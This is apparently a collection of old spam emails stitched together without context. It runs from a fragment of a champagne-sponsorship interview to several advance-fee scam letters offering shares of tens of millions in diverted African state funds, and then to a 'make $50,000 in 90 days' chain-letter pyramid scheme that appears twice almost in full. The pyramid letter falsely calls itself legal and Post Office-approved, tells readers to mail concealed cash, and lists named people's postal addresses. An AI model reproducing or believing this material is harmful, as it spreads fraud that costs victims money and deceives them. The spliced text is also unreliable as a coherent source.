such a decision.=20 What are the main criteria on which you base your sponsorship strategy? Return on investment is the key criterion for any marketing investment=20 decision. We would only undertake sponsorship in Season-related events.=20 This is our rule and frame of investment. What objectives are you seeking to achieve through sponsorship? Within the Season, we are especially looking to achieve visibility vis-=E0= - vis our audience, image-transfer, media coverage (all national press,=20 magazine of all kinds).=20 Awareness is also key for Veuve Clicquot, so we look to find events that=20 complement those that we already have, and extend our appeal to people of= =20 similar status, but differing interests.=20 Please describe one of your sponsorships The Eighth Annual Veuve Clicquot Gold Cup Polo, held this month at Cowdra= y=20 Park in West Sussex, is the largest entertainment operation undertaken by= =20 Veuve Clicquot UK each year. This successful sponsorship earns Veuve=20 Clicquot tremendous media coverage, fabulous exposure to our core target=20 group and a perfect image transfer as polo is the sports of kings and the= =20 king of sports. What's your approximate sponsorship spend per year? Significant. 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I am BARRISTER ADEWALE COKER, a family lawyer to our former military rule,General Sani Abacha who died suddenly in power some years ago. Since his untimely demise, the family has suffered a lot of harassment from the regimes that succeeded him. The regime and even the present civilian government are made up of Abacha's enemies.Recently, the wife was banned from traveling outside Kano State their home state as a kind of house arrest and the eldest son still in detention.Although, a lot of money have been recovered from Mrs. Abacha since the death of her husband by the present government, there's still huge sums of money in hard currencies that we have been able to move out of the country for safe keeping to the tune of US$50 million.This money US$50 Million is already in North American and if you are interested,we will prepare you as the beneficiary of the total funds,and you will share 25% of the total funds after clearance from the Security Compan! y. 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NO, there is no catch; just send your e-mails and be on your way to financial freedom. Basically, I send out as many of these e-mails as I can, then people send me cash in the mail for information that I just e-mail back to them. Everyday, I make a three minute drive to my P.O. Box knowing that there are at least a few hundred dollars waiting for me. And the best part, IT IS COMPLETELY LEGAL. Just read the next few paragraphs and see what you think. If you like what you read, great! If you don't, read it again because you must have missed something. ""AS SEEN ON NATIONAL TELEVISION"" ""Making over a half million dollars every 6 months from your home for an investment of only $25 US dollars expense ONE TIME. THANKS TO THE COMPUTER AGE AND THE INTERNET, BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! Before you say, ""No Way!"" read the following. This is the letter you've been reading about in the news lately. Due to the popularity of this letter on the Internet, a major nightly news program recently devoted an entire show to the investigation of the program described below to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are absolutely no laws prohibiting the participation in this program. This has helped to show people that this is a simple, harmless, and fun way to make some extra money at home. And, besides even if you never got involved in the program, the reports themselves are well worth the money. They can help you start and advertise ANY business on the internet. That is, these reports stand alone and are beneficial to anyone wishing to do business on the internet. The results of this show have been truly remarkable. So many people are participating that those involved are doing much better than ever before. Since everyone makes more as more people try it out, its been very exciting to be a part of it lately. You will understand once you experience it. ""HERE IT IS BELOW"" *** Print This Now For Future Reference *** The following income opportunity is one you may be interested in taking a look at. It can be started with VERY LITTLE investment ($25) and the income return is TREMENDOUS!!! THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come into contact with people, do any hard work, and best of all, you never have to leave your house except to get the mail. Simply follow the instructions, and you really can make this happen. This e-mail order marketing program works every time if you put in the effort to make it work. E-mail is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW! The longer you wait, the more savvy people will be taking your business using e-mail. Get what is rightfully yours. Program yourself for success and dare to think BIG. It sounds corny, but it's true. You'll never make it big if you don't have this belief system in place. MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and the Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold through multi-level methods. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the U.S., 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45people become millionaires everyday through Multi-Level Marketing. You may have heard this story before, but Donald Trump made an appearance on the David Letterman show. Dave asked him what he would do if he lost everything and had to start over from scratch. Without hesitating Trump said he would find a good network marketing company and get to work. The audience, started to hoot and boo him. He looked out at the audience and dead-panned his response. ""That's why I'm sitting up here and you are all sitting out there!"" With network marketing you have two sources of income. Direct commissions from sales you make yourself and commissions from sales made by people you introduce to the business. Residual income is the secret of the wealthy. It means investing time and money once, and getting paid again and again and again. In network marketing, it also means getting paid for the work of others. The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I reread everything and gave some thought and study to it. My name is Jonathan Rourke. Two years ago, the corporation I worked at for the past twelve years down- sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. AT THAT MOMENT something significant happened in my life and I am writing to share that experience in hopes that this will change your life FOREVER FINANCIALLY!!! In mid December, I received this program via e-mail. Six month's prior to receiving this program, I had been sending away for information on various business opportunities. All of the programs I received, in my opinion were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they would work or not. One claimed that I would make a million dollars in one year. It didn't tell me I'd have to write a book to make it! But like I was saying, in December I received this program. I didn't send for it, or ask for it; they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY MAKING PHENOMENON. I could invest as much as I wanted to start without putting me further into debt. After I got a pencil and paper and figured it out, I would at least get my money back. But like most of you I was still a little skeptical and a little worried about the legal aspects of it all. So I checked it out with the U.S. Post Office (1-800-725-2161 24 hrs) and they confirmed that it is indeed legal! After determining the program was LEGAL and NOT A CHAIN LETTER, I decided ""WHY NOT."" Initially I sent out 10,000 e-mails. It cost me about $15 for my time on-line. The great thing about e-mail is that I don't need any money for printing to send out the program, and because all of my orders are filled via e-mail, the only expense is my time. I am telling you like it is. I hope it doesn't turn you off, but I promised myself that I would not 'rip-off"" anyone, no matter how much money it cost me. Here is the basic version of what you need to do: Your first goal is to receive at least 20 orders for Report #1 within 2 weeks of your first program going out. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO. Your second goal is to receive at least 150+ orders for Report #2 within 4 weeks. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. Once you have your 150 orders, relax, you've met your goal. You will make $50,000+ but keep at it! If you don't get 150 right off, keep at it! It may take some time for your down line to build. Keep at it, stay focused, and do not let yourself get distracted. In less than one week, I was starting to receive orders for REPORT #1. I kept at it - kept mailing out the program and by January 13, 1 had received 26 orders for REPORT #1. My first step in making $50,000 in 90 days was done. By January 30, 1 had received 196 orders for REPORT #2; 46 more than I needed. So I sat back and relaxed. By March 1, of my e-mailing of 10,000, I received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car. Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!! Remember, it won't work if you don't try it. This program does work, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. It won't work, you'll lose out on a lot of money! In order for this program to work very fast, try to meet your goal of 20+ orders for Report #1, and 150+ orders for Report #2 and you will make $50,000 or more in 90 days. If you don't reach the first two goals with in four weeks, relax, you will still make a ton of money, it may take a few months or so longer. But keep mailing out the programs and stay focused! That's the key. I AM LIVING PROOF THAT IT WORKS!!! If you choose not to participate in this program, I am sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! -Sincerely, Jonathan Rourke P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME! A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM: By the time you have read the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about myself. I had a profitable business for 10 years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me; it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not including those who never had anything to save or invest were moving down into the ranks of the poor. As the saying goes, 'THE RICH GET RICHER AND THE POOR GET POORER."" The traditional Methods of making money will never allow you to ""move up"" or ""get rich"". Inflation will see to that. You have just received information that can give you financial freedom for the rest of your life, with ""NO RISK""and ""JUST A LITTLE BIT OF EFFORT."" You can make more money in the next few months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report to everyone you can think of. One of the people you send this to may send out 50,000 ... and your name will be on everyone of them! Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW! ""THINK ABOUT IT."" Before you delete this program from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! You will definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS! -Jody Jacobs, Richmond, VA HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF DOLLAR$ This method of raising capital REALLY WORKS 100% EVERY TIME. I am sure that you could use up to $50,000 or more in the next 90 days. Before you say ""No Way!"" please read this program carefully. This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what you do: As with all multilevel businesses, we- build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multilevel business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, so you are not involved in personal selling. You do it privately in your own home, store, or office. This is the GREATEST Multi-Level Mail Order Marketing anywhere: This is what you MUST do. 1. Order all 5 reports shown on the list below (You can't sell them if you don't have them). * For each report, send $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & RETURN ADDRESS (in case of a problem). *MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE - IN CASE OF ANY MAIL PROBLEMS! * When you place your order, make sure you order each of the five reports. You need all five reports so that you can save them on your computer and resell them. * Within a few days you will receive, via e-mail, each of the five reports. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. 2. IMPORTANT- DO NOT alter the names of the people who are listed next to each report, or their order on the list in any way other than as instructed below in steps ""a"" through 'g"" or you will lose out on the majority of your profits. Once you understand the way this works you'll also see how it doesn't work if you change it. Remember, this method has been tested, and if you alter it, it will not work. a. Look below for the listing of available reports. b. After you've ordered the. five reports, take this Advertisement and remove the name and address under REPORT #5. This person has made it through the cycle and is no doubt counting their $50,000! c. Move the name and address under REPORT #4 down to REPORT #5. d. Move the name and address under REPORT #3 down to REPORT #4. e. Move the name and address under REPORT #2 down to REPORT #3 f. Move the name and address under REPORT #1 down to REPORT #2. g. Insert your name and address in the REPORT #1 position. Please make sure you copy every name and address ACCURATELY! Copy and paste method works well,. 3. Take this entire letter, including the modified list of names, and save it to your computer. Make NO changes to the Instruction portion of this letter. Your cost to participate in this is practically nothing (surely you can afford $25). You obviously already have an Internet Connection and e-mail is FREE! To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails, where to find thousands of free classified ads and much, much more. Here are two primary methods of building your downline: METHOD #1: SENDING BULK E-MAIL Let's say that you decide to start small, just to see how it goes, and we'll assume you and all those involved send out only 2,000 programs each. Let's also assume that the mailing receives a 0.5% response. Using a good list, the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 0.5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 0.5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. The 0.5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000 total. The 0.5% response to that is I 0,000 orders for REPORT #4. That amounts to 10,000 each of $5 bills for you in CASH MONEY! Then think about level five! That's $500,000 alone! Your total income in this example is $50 + $500 + $5,000+ $50,000 + $500,000 for a total of $555,550!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000. Believe me, many people will do just that and more! REPORT #2 will show you the best methods for bulk e-mailing, and e-mail software. METHOD #2 - PLACING FREE ADS ON THE INTERNET 1. Advertising on the Net is very, very inexpensive, and there are HUNDREDS of FREE places to advertise. Let's say you decide to start small just to see how well it works. Assume your goal is to get ONLY 10 people to participate on your first level. Placing a lot of FREE ads on the internet will EASILY get a larger response. Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline members. Follow this example to achieve the STAGGERING results below: 1st level-your 10 members with $5 ....... $50 2nd level-10 members from those 10 ($5 x 100) ....... $500 3rd level-10 members from those 100 ($5 x 1,000)....... $5,000 4th level-10 members from those 1,000 ($5 x 10k) ....... $50,000 5th level-10 members from those 10,000 ($5 x 100k) ....... $500,000 THIS TOTALS - $555,550 Remember friends, this assumes that the people who participate only recruit 10 people each. Think for a moment what would happen if they got 20 people to participate! Most people get 100's of participants. THINK ABOUT IT! For every $5.00 you receive, all you must do is e-mail them the report they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS! This will guarantee that the e-mail THEY send out with YOUR name and address on it will be prompt because they can't advertise until they receive the report! AVAILABLE REPORTS *** Order Each REPORT by NUMBER, AND NAME *** * ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT. CHECKS NOT ACCEPTED * - ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL - Make sure the cash is concealed by wrapping it in at least two sheets of paper (SO THAT THE BILL CAN'T BE SEEN AGAINST LIGHT) On one of those sheets of paper include: (a) the number & name of the report you are ordering, (b) your e-mail address, and (c) your name & postal address (in case your e-mail provider encounters problems). PLACE YOUR ORDER FOR THESE REPORTS NOW: REPORT #1 ""The Insiders Guide to Advertizing for Free on the Internet"" ORDER REPORT #1 FROM: Randy Dillard P.O. Box 8 Osprey, FL 34229 USA REPORT #2 ""The Insiders Guide to Sending Bulk Email on the Internet"" ORDER REPORT #2 FROM: Carla Brown P.O. Box 39093 Sarasota, FL 34238 USA REPORT #3 ""The Secrets to Multilevel Marketing on the Internet"" ORDER REPORT #3 FROM: Glynn Schmidt P.O. Box 19424 Sarasota, FL 34276 USA REPORT #4 'How to become a Millionaire utilizing the Power of Multilevel Marketing and the Internet"" ORDER REPORT #4 FROM: Christin Joy CPO 2398 501 E. College Avenue Wheaton, IL 60187 USA REPORT #5 ""How to Send One Million E-Mails for Free."" ORDER REPORT #5 FROM: Cheri Gerhart 81719 Lido Avenue Indio, CA 92201 USA About 50,000 new people get online every month! ******* TIPS FOR SUCCESS ******* * TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow the directions accurately. * Send for the five reports IMMEDIATELY so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the requested product/report. * ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. * Be patient and persistent with this program. If you follow the instructions exactly, your results WILL BE SUCCESSFUL! * ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED! ******* YOUR SUCCESS GUIDELINES ******* Follow these guidelines to guarantee your success: Start posting ads as soon as you mail off for the reports! By the time you start receiving orders, your reports will be in your mailbox! For now, something simple, such as posting on message boards something to the effect of ""Would you like to know how to earn $50,000 working out of your house with NO initial investment? Email me with the keywords ""more info"" to find out how. And, when they email you, send them this report in response! If you don't receive 20 orders for REPORT #1 within two weeks, continue advertising or sending e-mails until you do. Then, a couple of weeks later you should receive at least 100 orders for REPORT#2. If you don't, continue advertising or sending e-mails until you do. Once you have received 100 or more orders for REPORT #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list you are placed in front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. If you want to generate more income, send another batch of e-mails or continue placing ads and start the whole process again! There is no limit to the income you will generate from this business! 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I was therefore delegated as a matter of urgency by my colleagues to look for an over seas partner into whose account we would transfer the sum of US$31,000,000.00 (THIRTY ONE MILLION UNITED STATES DOLLARS) hence we are writing you this letter. the present civilian government is determined to pay foreign contractors l debts owed so as to maintain an amiable relationship with foreign governments and non-government financial agencies. We have decided to include our bills for approval with the co-operation of some officials of the federal ministry of finance (F.M.F) and the central bank of Nigeria (C.B.N). We are seeking your assistance in providing us with a good company account or any other offshore bank account into which we can remit this money by acting our main partner and trustee or acting as the original contractor. This we can do by swapping of account information and changing of beneficiary and other pertinent information to apply for payment. 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Seem impossible? Is there a catch? NO, there is no catch; just send your e-mails and be on your way to financial freedom. Basically, I send out as many of these e-mails as I can, then people send me CASH in the mail for information that I just e-mail back to them. Everyday, I make a three minute drive to my P.O. Box knowing that there are at least a few hundred dollars waiting for me. And the best part, IT IS COMPLETELY LEGAL. Just read the next few paragraphs and see what you think. If you like what you read, great! If you don't, read it again because you must have missed something. ""AS SEEN ON NATIONAL TELEVISION"" ""Making over a half million dollars every 6 months from your home for an investment of only $25 US dollars expense ONE TIME. THANKS TO THE COMPUTER AGE AND THE INTERNET, BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! Before you say, ""No Way!"" read the following. This is the letter you've been reading about in the news lately. Due to the popularity of this letter on the Internet, a major nightly news program recently devoted an entire show to the investigation of the program described below to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are absolutely no laws prohibiting the participation in this program. This has helped to show people that this is a simple, harmless, and fun way to make some extra money at home. The results of this show have been truly remarkable. So many people are participating that those involved are doing much better than ever before. Since everyone makes more as more people try it out, its been very exciting to be a part of it lately. You will understand once you experience it. ""HERE IT IS BELOW"" *** Print This Now For Future Reference *** The following income opportunity is one you may be interested in taking a look at. It can be started with VERY LITTLE investment ($25) and the income return is TREMENDOUS!!! THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come into contact with people, do any hard work, and best of all, you never have to leave your house except to get the mail. Simply follow the instructions, and you really can make this happen. This e-mail order marketing program works every time if you put in the effort to make it work. E-mail is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW! The longer you wait, the more savvy people will be taking your business using e-mail. Get what is rightfully yours. Program yourself for success and dare to think BIG. It sounds corny, but it's true. You'll never make it big if you don't have this belief system in place. MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and the Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold through multi-level methods. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the U.S., 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45people become millionaires everyday through Multi-Level Marketing. You may have heard this story before, but Donald Trump made an appearance on the David Letterman show. Dave asked him what he would do if he lost everything and had to start over from scratch. Without hesitating Trump said he would find a good network marketing company and get to work. The audience, started to hoot and boo him. He looked out at the audience and dead-panned his response. ""That's why I'm sitting up here and you are all sitting out there!"" With network marketing you have two sources of income. Direct commissions from sales you make yourself and commissions from sales made by people you introduce to the business. Residual income is the secret of the wealthy. It means investing time and money once, and getting paid again and again and again. In network marketing, it also means getting paid for the work of others. The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I reread everything and gave some thought and study to it. My name is Jonathan Rourke. Two years ago, the corporation I worked at for the past twelve years down- sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. AT THAT MOMENT something significant happened in my life and I am writing to share that experience in hopes that this will change your life FOREVER FINANCIALLY!!! In mid December, I received this program via e-mail. Six month's prior to receiving this program, I had been sending away for information on various business opportunities. All of the programs I received, in my opinion were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they would work or not. One claimed that I would make a million dollars in one year. It didn't tell me I'd have to write a book to make it! But like I was saying, in December I received this program. I didn't send for it, or ask for it; they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY MAKING PHENOMENON. I could invest as much as I wanted to start without putting me further into debt. After I got a pencil and paper and figured it out, I would at least get my money back. But like most of you I was still a little skeptical and a little worried about the legal aspects of it all. So I checked it out with the U.S. Post Office (1-800-725-2161 24 hrs) and they confirmed that it is indeed legal! After determining the program was LEGAL and NOT A CHAIN LETTER, I decided ""WHY NOT."" Initially I sent out 10,000 e-mails. It cost me about $15 for my time on-line. The great thing about e-mail is that I don't need any money for printing to send out the program, and because all of my orders are filled via e-mail, the only expense is my time. I am telling you like it is. I hope it doesn't turn you off, but I promised myself that I would not 'rip-off"" anyone, no matter how much money it cost me. Here is the basic version of what you need to do: Your first goal is to receive at least 20 orders for Report #1 within 2 weeks of your first program going out. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO. Your second goal is to receive at least 150+ orders for Report #2 within 4 weeks. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. Once you have your 150 orders, relax, you've met your goal. You will make $50,000+ but keep at it! If you don't get 150 right off, keep at it! It may take some time for your down line to build. Keep at it, stay focused, and do not let yourself get distracted. In less than one week, I was starting to receive orders for REPORT #1. I kept at it - kept mailing out the program and by January 13, 1 had received 26 orders for REPORT #1. My first step in making $50,000 in 90 days was done. By January 30, 1 had received 196 orders for REPORT #2; 46 more than I needed. So I sat back and relaxed. By March 1, of my e-mailing of 10,000, I received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car. Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!! Remember, it won't work if you don't try it. This program does work, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. It won't work, you'll lose out on a lot of money! In order for this program to work very fast, try to meet your goal of 20+ orders for Report #1, and 150+ orders for Report #2 and you will make $50,000 or more in 90 days. If you don't reach the first two goals with in four weeks, relax, you will still make a ton of money, it may take a few months or so longer. But keep mailing out the programs and stay focused! That's the key. I AM LIVING PROOF THAT IT WORKS!!! If you choose not to participate in this program, I am sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! -Sincerely, Jonathan Rourke P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME! A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM: By the time you have read the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about myself. I had a profitable business for 10 years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me; it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not including those who never had anything to save or invest were moving down into the ranks of the poor. As the saying goes, 'THE RICH GET RICHER AND THE POOR GET POORER."" The traditional Methods of making money will never allow you to ""move up"" or ""get rich"". Inflation will see to that. You have just received information that can give you financial freedom for the rest of your life, with ""NO RISK"" and ""JUST A LITTLE BIT OF EFFORT."" You can make more money in the next few months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report to everyone you can think of. One of the people you send this to may send out 50,000 ... and your name will be on everyone of them! Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW! ""THINK ABOUT IT."" Before you delete this program from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! You will definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS! -Jody Jacobs, Richmond, VA HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF DOLLAR$ This method of raising capital REALLY WORKS 100% EVERY TIME. I am sure that you could use up to $50,000 or more in the next 90 days. Before you say ""No Way!"" please read this program carefully. This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what you do: As with all multilevel businesses, we- build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multilevel business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, so you are not involved in personal selling. You do it privately in your own home, store, or office. This is the GREATEST Multi-Level Mail Order Marketing anywhere: This is what you MUST do. 1. Order all 5 reports shown on the list below (You can't sell them if you don't have them). * For each report, send $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & RETURN ADDRESS (in case of a problem). *MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE - IN CASE OF ANY MAIL PROBLEMS! * When you place your order, make sure you order each of the five reports. You need all five reports so that you can save them on your computer and resell them. * Within a few days you will receive, via e-mail, each of the five reports. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. 2. IMPORTANT- DO NOT alter the names of the people who are listed next to each report, or their order on the list in any way other than as instructed below in steps ""a"" through 'g"" or you will lose out on the majority of your profits. Once you understand the way this works you'll also see how it doesn't work if you change it. Remember, this method has been tested, and if you alter it, it will not work. a. Look below for the listing of available reports. b. After you've ordered the. five reports, take this Advertisement and remove the name and address under REPORT #5. This person has made it through the cycle and is no doubt counting their $50,000! c. Move the name and address under REPORT #4 down to REPORT #5. d. Move the name and address under REPORT #3 down to REPORT #4. e. Move the name and address under REPORT #2 down to REPORT #3 f. Move the name and address under REPORT #1 down to REPORT #2. g. Insert your name and address in the REPORT #1 position. Please make sure you copy every name and address ACCURATELY! Copy and paste method works well,. 3. Take this entire letter, including the modified list of names, and save it to your computer. Make NO changes to the Instruction portion of this letter. Your cost to participate in this is practically nothing (surely you can afford $25). You obviously already have an Internet Connection and e-mail is FREE! To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails, where to find thousands of free classified ads and much, much more. Here are two primary methods of building your downline: METHOD #1: SENDING BULK E-MAIL Let's say that you decide to start small, just to see how it goes, and we'll assume you and all those involved send out only 2,000 programs each. Let's also assume that the mailing receives a 0.5% response. Using a good list, the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 0.5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 0.5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. The 0.5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000 total. The 0.5% response to that is I 0,000 orders for REPORT #4. That amounts to 10,000 each of $5 bills for you in CASH MONEY! Then think about level five! That's $500,000 alone! Your total income in this example is $50 + $500 + $5,000+ $50,000 + $500,000 for a total of $555,550!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000. Believe me, many people will do just that and more! REPORT #2 will show you the best methods for bulk e-mailing, and e-mail software. METHOD #2 - PLACING FREE ADS ON THE INTERNET 1. Advertising on the Net is very, very inexpensive, and there are HUNDREDS of FREE places to advertise. Let's say you decide to start small just to see how well it works. Assume your goal is to get ONLY 10 people to participate on your first level. Placing a lot of FREE ads on the internet will EASILY get a larger response. Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline members. Follow this example to achieve the STAGGERING results below: 1st level-your 10 members with $5 ....... $50 2nd level-10 members from those 10 ($5 x 100) ....... $500 3rd level-10 members from those 100 ($5 x 1,000)....... $5,000 4th level-10 members from those 1,000 ($5 x 10k) ....... $50,000 5th level-10 members from those 10,000 ($5 x 100k) ....... $500,000 THIS TOTALS - $555,550 Remember friends, this assumes that the people who participate only recruit 10 people each. Think for a moment what would happen if they got 20 people to participate! Most people get 100's of participants. THINK ABOUT IT! For every $5.00 you receive, all you must do is e-mail them the report they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS! This will guarantee that the e-mail THEY send out with YOUR name and address on it will be prompt because they can't advertise until they receive the report! AVAILABLE REPORTS *** Order Each REPORT by NUMBER, AND NAME *** * ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT. CHECKS NOT ACCEPTED * - ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL - Make sure the cash is concealed by wrapping it in at least two sheets of paper (SO THAT THE BILL CAN'T BE SEEN AGAINST LIGHT) On one of those sheets of paper include: (a) the number & name of the report you are ordering, (b) your e-mail address, and (c) your name & postal address (in case your e-mail provider encounters problems). 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I absconded with sum of TWENTY FIVE MILLION UNITED STATES DOLLARS (US$25,000,000)Which was part of the money meant for campaigning for president Robert Mugabe's re- election into office under Zaunpe party.Presently I have been able to move the funds diplomatically to a security company in the Netherlands. MY REQUEST:I am looking for a trustworthy individual or firm to advice me in the right investment as well as to provide account where the funds will be lodge into.Moreso,I am interested in buying propertys for residence as my family will be residing there in the near future. COMMISSION AND REMUNERATION:As regards your commission and remuneration,I have decided to offer you 25% and also 5% for all your expenses(telephone bills, travelling expenses, hotel bills and other expenses incurred). 